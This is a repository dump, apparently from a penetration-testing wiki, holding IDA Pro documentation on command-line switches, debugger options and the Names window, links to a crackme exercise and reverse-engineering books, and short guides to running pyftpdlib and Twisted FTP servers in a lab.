118 | - [The Penetration Testing Execution Standard](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines)
119 | - [Penetration Testing Framework 0.59](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)
120 | - [How To Become A Hacker](http://www.catb.org/esr/faqs/hacker-howto.html)
121 | - [Github - awesome-pentest](https://github.com/enaqx/awesome-pentest)
122 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/Background_Analysis.md:
--------------------------------------------------------------------------------
1 |
2 | ## Background Analysis
3 |
4 | IDA can analyze a program when it is not occupied performing an action you prompted. You disassemble a program together with IDA, but your requests have priority.
5 |
6 | The state of background analysis is shown on the upper right-hand corner of the screen.
7 |
8 | You can disable autoanalysis, but in this case some functions of IDA will produce strange results (e.g. if you try to convert data into instructions, IDA will NOT trace all the threads of control flow and the data will be converted into instructions only on the screen...)
9 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/Command_line_swithes.md:
--------------------------------------------------------------------------------
1 |
2 | ## Command line swithes
3 |
4 | 
5 |
6 | IDA can be launched with one of the following command lines:
7 |
8 | - idaq input-file (All platforms: start graphical interface)
9 | - idaw input-file (Windows: start text interface)
10 | - idal input-file (Linux/Mac: start text interface)
11 |
12 | Add the '64' postfix to the command name in order to start the 64-bit version of IDA. For example:
13 |
14 | ```idaq64 input-file```
15 |
16 | will start 64-bit graphical interface.
17 |
18 | The following command line switches are recognized:
19 |
20 | ```
21 | -a disable auto analysis
22 | -A autonomous mode. IDA will not display dialog boxes.
23 | Designed to be used together with -S switch.
24 | -b#### loading address, a hexadecimal number, in paragraphs
25 | (a paragraph is 16 bytes)
26 | -B batch mode. IDA will generate .IDB and .ASM files automatically
27 | -c disassemble a new file (delete the old database)
28 | -ddirective
29 | A configuration directive which must be processed at the first
30 | pass. Example:
31 | -dVPAGESIZE=8192
32 | -Ddirective
33 | A configuration directive which must be processed at the second
34 | pass.
35 | -f disable FPP instructions (IBM PC only)
36 | -h help screen
37 | -i#### program entry point (hex)
38 | -I# set IDA as just-in-time debugger (0 to disable and 1 to enable)
39 | -L#### name of the log file
40 | -M disable mouse (text only)
41 | -O#### options to pass to plugins
42 | -o#### specify the output database (implies -c)
43 | -p#### processor type
44 | -P+ compress database (create zipped idb)
45 | -P pack database (create unzipped idb)
46 | -P- do not pack database (not recommaned, see Abort command)
47 | -r### immediately run the built-in debugger
48 | format of this switch is explained here
49 | -R load MS Windows exe file resources
50 | -S### Execute a script file when the database is opened.
51 | The script file extension is used to determine which extlang will run the script.
52 | It is possible to pass command line arguments after the script name.
53 | For example: -S"myscript.idc argument1 \"argument 2\" argument3"
54 | The passed parameters are stored in the "ARGV" global IDC variable.
55 | Use "ARGV.count" to determine the number of arguments.
56 | The first argument "ARGV[0]" contains the script name
57 | -T### interpret the input file as the spwecified file type
58 | The file type is specified as a prefix of a file type
59 | visible in the 'load file' dialog box
60 | -t create an empty database.
61 | -W### specify MS Windows directory
62 | -x do not create segmentation
63 | (used in pair with Dump database command)
64 | this switch affects EXE and COM format files only.
65 | -z debug:
66 | 00000001 drefs
67 | 00000002 offsets
68 | 00000004 first
69 | 00000008 idp module
70 | 00000010 idr module
71 | 00000020 plugin module
72 | 00000040 ids files
73 | 00000080 config file
74 | 00000100 check heap
75 | 00000200 checkarg
76 | 00000400 demangler
77 | 00000800 queue
78 | 00001000 rollback
79 | 00002000 already data or code
80 | 00004000 type system
81 | 00008000 show all notifications
82 | 00010000 debugger
83 | 00200000 Appcall
84 | 00400000 source-level debugger
85 | -? this screen (works for the next version)
86 | ? this screnn (works for the next version)
87 | ```
88 |
89 | For batch mode, IDA must be invoked with the following command line:
90 |
91 | ```idaq -B input-file```
92 |
93 | which is equivalent to
94 |
95 | ```idaq -c -A -Sanalysis.idc input-file```
96 |
97 | The text interface (idaw.exe/idal) is better for batch mode because it uses less system resources. Howeveer, please note that regular plugins are not automatically loaded in batch mode because the analysis .idc file quits and the kernel has no chance to load them.
98 |
99 | For more information, please see the analysis.idc file in the IDC subdirectory.
100 |
101 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/IDA-command-line-options.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nixawk/pentest-wiki/90d8ad7626f1804d5fe2c1a62c21c6463f8d9bdc/Reverse-Engineering/IDA/IDA-command-line-options.png
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/Instant_debugger.md:
--------------------------------------------------------------------------------
1 |
2 | ## Instant debugger
3 |
4 | The -r command line switch is used to run the built-in debugger without creating a database in advance. The format is this switch is:
5 |
6 | ```-rdebname{params}:pass@hostname:port+pid```
7 |
8 | The explanation of the fields:
9 |
10 | debname Debugger name. Should contain the debugger
11 | module name. Examples: win32, linux. This prefix
12 | can be shortened or even completely
13 | omitted if there is no ambiguity
14 | params Optional parameter for the debugger module
15 | The parameters from the appropriate configuation file
16 | can be specified here, separated by semicolons.
17 | pass Password for the remote debugger server
18 | hostname Host name or address of the remote debugger server
19 | port Port number to use to connect to the debugger server
20 | pid PID of the process to attach
21 |
22 | All fields except the first one are optional. See examples below for typical command lines:
23 |
24 | ```
25 | idaq -rwin32 file args
26 | Run 'file' with command line 'args' in the local debugger
27 | We have to specify the debugger name to avoid ambiguities.
28 | idaq -rwindbg+450
29 | Attach to process 450 on the local machine using the windbg backend
30 | idaq -rl:password@mycom:4567+
31 | Connect to the remote linux computer 'mycom' at port 4567 using the
32 | password 'password' and display the list of processes running on it.
33 | Allow the user to select a process and attach to it.
34 | idaq -rl@mycom /bin/ls e*
35 | Run '/bin/ls' command on the 'mycom' computers using the
36 | remote linux debugger server. Use an empty password and the
37 | default port number. IDA will extract the name of the
38 | executable from the whobase.idb file in the local current
39 | directory. If the database does not exist, then this command
40 | will fail.
41 | idaq "-rwindbg{MODE=1}@com:port=\\.\pipe\com_1,baud=115200,pipe,reconnect+"
42 | Attach using windbg in kernel mode. The connection starting is
43 | "com:port=\\.\pipe\com_1,baud=115200,pipe,reconnect". A mini database
44 | will be created on the fly.
45 | ```
46 |
47 | When the -r switch is used, IDA works with the databases in the following way:
48 |
49 | - if a database corresponding to the input file exists and the -c switch has not been specified, then IDA will use the database during the debugging session
50 | - otherwise, a temporary database will be created
51 |
52 | Temporary databases contain only meta-information about the debugged process and not memory contents. The user can make a memory snpshot any time before the process stops. If IDA detects that a command will cause the process to exit or detach IDA, it will purpose to make a snapshot.
53 |
54 | The rest of the command line is passed to the launched process.
55 |
56 | In the case there is no input file (when attaching to existing process, for example), then the temporary database is created in the standard temporary directory. For Windows, this directory is usually "Local Setting\Temp" in the user profile directory.
57 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/Main_Idea.md:
--------------------------------------------------------------------------------
1 |
2 | ## Main Idea
3 |
4 | IDA is an interactive disassembler, which means that the user takes active participation in the disassembly process. IDA is not an automatic analyzer of programs. IDA will give you hints about suspicious instructions, unsolved problem etc. It is your job to inform IDA how to proceed.
5 |
6 | If you are using IDA for the very first time, here are some commands that you will find very useful:
7 |
8 | - convert to instruction : the hotkey is "C"
9 | - convert to data : the hotkey is "D"
10 |
11 | All the changes that you made are saved to disk. When you run IDA again, all the information on the file being diassembled is read from the disk, so that you can rescue your work.
12 |
13 | ```
14 | CODE:00401000 6A 00 push 0
15 | CODE:00401002 E8 64 02 00 00 call GetModuleHandleA ; Call Procedure
16 | ```
17 |
18 | Press Key `D`, and you will see:
19 |
20 | ```
21 | CODE:00401000 6A 00 push 0
22 | CODE:00401000 ; ---------------------------------------------------------------------------
23 | CODE:00401002 E8 db 0E8h
24 | CODE:00401003 64 db 64h ; d
25 | CODE:00401004 02 db 2
26 | CODE:00401005 00 db 0
27 | CODE:00401006 00 db 0
28 | CODE:00401007 ; ---------------------------------------------------------------------------
29 | ```
30 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/Plugin_Options.md:
--------------------------------------------------------------------------------
1 |
2 | ## Plugin Options
3 |
4 | The -O command line switch allows the user to pass options to the plugins. A plugin which uses options should call the get_plugin_options() function to get them.
5 |
6 | Since there may be plugins written by independent programmers, each options will have a prefix -O in front of the plugin name.
7 |
8 | For example, a plugin named "decomp" should expect its parameters to be in the following format:
9 |
10 | -Odecomp:option1:option2:option3
11 |
12 | In this case, get_plugin_options("decomp") will return the "option1:option2:option3" part of the options string.
13 |
14 | If there are serval -O options in the command line, they will be concatenated with ':' between them.
15 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/The_Names_Windows.md:
--------------------------------------------------------------------------------
1 |
2 | ## The Names Window
3 |
4 | The Names window, provides a summary listing of all of the global names within a binary. A name is nothing more than a symbolic description given to a program virtual address. IDA initially derives the list of names from symbol-table and signature analysis during the initial loading of a file. Names can be sorted alphabetically or in virtual address order (either ascending or descending). The Names window is useful for rapidly navigating to known locations within a program listing. Double-clicking any Names window entry will immediately jump the disassembly view to display the selected name.
5 |
6 | Displayed names are both color and letter coded. The coding scheme is summaried below:
7 |
8 | - **F** A regular function. These are functions that IDA does not recognize as library functions.
9 | - **L** A library function. IDA recognizes library functions through the use of signature-matching algoriths. If a signature does not exist for a given library function, the function will be labeled as a regular function instead.
10 | - **I** An imported name, most commonly a function name imported from a shared library. The different between this and a library function is that no code is present for an imported name, while the body of a library function will be present in the disassembly.
11 | - **C** Named code*. These are named program instruction locations that IDA does not consider to be part of any function. This is posible when IDA finds a name in a program's symbol table but never sees a call to the corresponding program location..
12 | - **D** Data. Named data locations typically represent global variables.
13 | - **A** String data. This is a referenced data location containing a sequence of characters that conform to one of IDA's known string data types, such as a null-terminated ASCII C string.
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/TiGa-vid1_reverseMe/Keyfile.dat:
--------------------------------------------------------------------------------
1 | GGGGGGGG
2 |
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/TiGa-vid1_reverseMe/TiGa-vid1_reverseMe.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nixawk/pentest-wiki/90d8ad7626f1804d5fe2c1a62c21c6463f8d9bdc/Reverse-Engineering/IDA/TiGa-vid1_reverseMe/TiGa-vid1_reverseMe.exe
--------------------------------------------------------------------------------
/Reverse-Engineering/IDA/TiGa-vid1_reverseMe/TiGa-vid1_reverseMe.idb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nixawk/pentest-wiki/90d8ad7626f1804d5fe2c1a62c21c6463f8d9bdc/Reverse-Engineering/IDA/TiGa-vid1_reverseMe/TiGa-vid1_reverseMe.idb
--------------------------------------------------------------------------------
/Reverse-Engineering/Reverse_Engineering_for_Beginners-en.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nixawk/pentest-wiki/90d8ad7626f1804d5fe2c1a62c21c6463f8d9bdc/Reverse-Engineering/Reverse_Engineering_for_Beginners-en.pdf
--------------------------------------------------------------------------------
/Reverse-Engineering/The.IDA.Pro.Book.2nd.Edition.Jun.2011.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nixawk/pentest-wiki/90d8ad7626f1804d5fe2c1a62c21c6463f8d9bdc/Reverse-Engineering/The.IDA.Pro.Book.2nd.Edition.Jun.2011.pdf
--------------------------------------------------------------------------------
/System-Services/README.md:
--------------------------------------------------------------------------------
1 | **Authors**: < [nixawk](https://github.com/nixawk) >
2 |
3 | ----
4 |
5 | # Services
6 |
7 | How to install/manage system services ?
8 |
9 | # Links
10 |
11 | 1. https://gist.github.com/willurd/5720255
12 | 2. https://github.com/nixawk/bash-programming/tree/master/kali
13 |
--------------------------------------------------------------------------------
/System-Services/services/service-ftp.md:
--------------------------------------------------------------------------------
1 |
2 | ## How to setup a ftp server quickly
3 |
4 | Pleaes install [**pyftpdlib**](https://github.com/giampaolo/pyftpdlib) with pip or easy_install.
5 |
6 | ```
7 | sudo easy_install pysendfile
8 | sudo easy_install pyftpdlib
9 | ```
10 |
11 | or
12 |
13 | ```
14 | sudo pip2 install pysendfile
15 | sudo pip2 install pyftpdlib
16 | ```
17 |
18 | If you have installed **pyftpdlib** successfully, please start it as follow:
19 |
20 | ```
21 | root@lab:/tmp/pyftpdlib# python -m pyftpdlib -w -p 21
22 | pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
23 | RuntimeWarning)
24 | [I 2016-03-06 10:00:11] >>> starting FTP server on 0.0.0.0:21, pid=2090 <<<
25 | [I 2016-03-06 10:00:11] concurrency model: async
26 | [I 2016-03-06 10:00:11] masquerade (NAT) address: None
27 | [I 2016-03-06 10:00:11] passive ports: None
28 | [I 2016-03-06 10:00:40] 192.168.1.103:52874-[] FTP session opened (connect)
29 | [I 2016-03-06 10:00:40] 192.168.1.103:52874-[anonymous] USER 'anonymous' logged in.
30 | [I 2016-03-06 10:00:45] 192.168.1.103:52874-[anonymous] FTP session closed (disconnect).
31 | [I 2016-03-06 10:01:42] 192.168.1.101:49312-[] FTP session opened (connect)
32 | [I 2016-03-06 10:02:12] 192.168.1.101:49312-[] FTP session closed (disconnect).
33 | [I 2016-03-06 10:02:24] 192.168.1.101:49313-[] FTP session opened (connect)
34 | [I 2016-03-06 10:02:31] 192.168.1.101:49313-[anonymous] USER 'anonymous' logged in.
35 | [I 2016-03-06 10:06:28] 192.168.1.101:49313-[anonymous] RETR /tmp/pyftpdlib/setup.py completed=1 bytes=5183 seconds=0.004
36 | [I 2016-03-06 10:07:29] 192.168.1.101:49313-[anonymous] FTP session closed (disconnect).
37 | [I 2016-03-06 10:08:11] 192.168.1.104:1033-[] FTP session opened (connect)
38 | [I 2016-03-06 10:08:17] 192.168.1.104:1033-[anonymous] USER 'anonymous' logged in.
39 | [I 2016-03-06 10:10:43] 192.168.1.104:1033-[anonymous] FTP session closed (disconnect).
40 |
41 | ```
42 |
43 | Windows FTP console client:
44 |
45 | ```
46 | C:\Documents and Settings\test\Desktop>ver
47 |
48 | Microsoft Windows XP [Version 5.1.2600]
49 |
50 | C:\Documents and Settings\test\Desktop>ftp 192.168.1.103
51 | Connected to 192.168.1.103.
52 | 220 pyftpdlib 1.5.0 ready.
53 | User (192.168.1.103:(none)): anonymous
54 | 331 Username ok, send password.
55 | Password:
56 | 230 Login successful.
57 | ftp> ls
58 | 200 Active data connection established.
59 | 125 Data connection already open. Transfer starting.
60 | .ci
61 | .coveragerc
62 | .git
63 | ...
64 | ...
65 | ```
66 |
67 | You can also use other clients, ex: ncftp.
68 |
--------------------------------------------------------------------------------
/System-Services/services/twisted-ftp.md:
--------------------------------------------------------------------------------
1 | ## Twistd
2 |
3 | How to start a ftp server with **Twisted**.
4 |
5 | ```
6 | root@lab:/tmp# twistd -n ftp --help
7 | Usage: twistd [options] ftp [options].
8 | WARNING: This FTP server is probably INSECURE do not use it.
9 | Options:
10 | -p, --port= set the port number [default: 2121]
11 | -r, --root= define the root of the ftp-site. [default:
12 | /usr/local/ftp]
13 | --userAnonymous= Name of the anonymous user. [default: anonymous]
14 | --help Display this help and exit.
15 | --help-auth-type= Show help for a particular authentication type.
16 | --auth= Specify an authentication method for the server.
17 | --password-file= Specify a file containing username:password login info
18 | for authenticated connections. (DEPRECATED; see
19 | --help-auth instead)
20 | --version Display Twisted version and exit.
21 | --help-auth Show all authentication methods available.
22 |
23 | ```
24 |
25 | ```
26 | sroot@lab:/tmp# tudo easy_install twisted
27 | root@lab:/tmp# twistd -n ftp -p 2121 --userAnonymous=anonymous
28 | 2016-03-06 11:24:24-0500 [-] Log opened.
29 | 2016-03-06 11:24:24-0500 [-] twistd 15.5.0 (/usr/bin/python 2.7.11) starting up.
30 | 2016-03-06 11:24:24-0500 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
31 | 2016-03-06 11:24:24-0500 [-] FTPFactory starting on 2121
32 | 2016-03-06 11:24:24-0500 [-] Starting factory
33 | ```
34 |
35 |
--------------------------------------------------------------------------------